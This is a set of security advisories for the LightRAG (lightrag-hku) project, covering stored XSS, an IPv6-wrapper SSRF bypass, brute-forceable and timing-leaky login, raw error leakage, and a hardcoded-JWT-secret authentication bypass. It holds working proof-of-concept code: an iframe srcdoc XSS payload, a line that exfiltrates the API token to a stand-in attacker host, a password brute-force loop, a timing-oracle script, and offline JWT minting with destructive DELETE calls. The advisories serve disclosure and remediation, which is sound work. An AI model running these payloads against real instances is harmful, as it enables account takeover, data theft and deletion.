Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
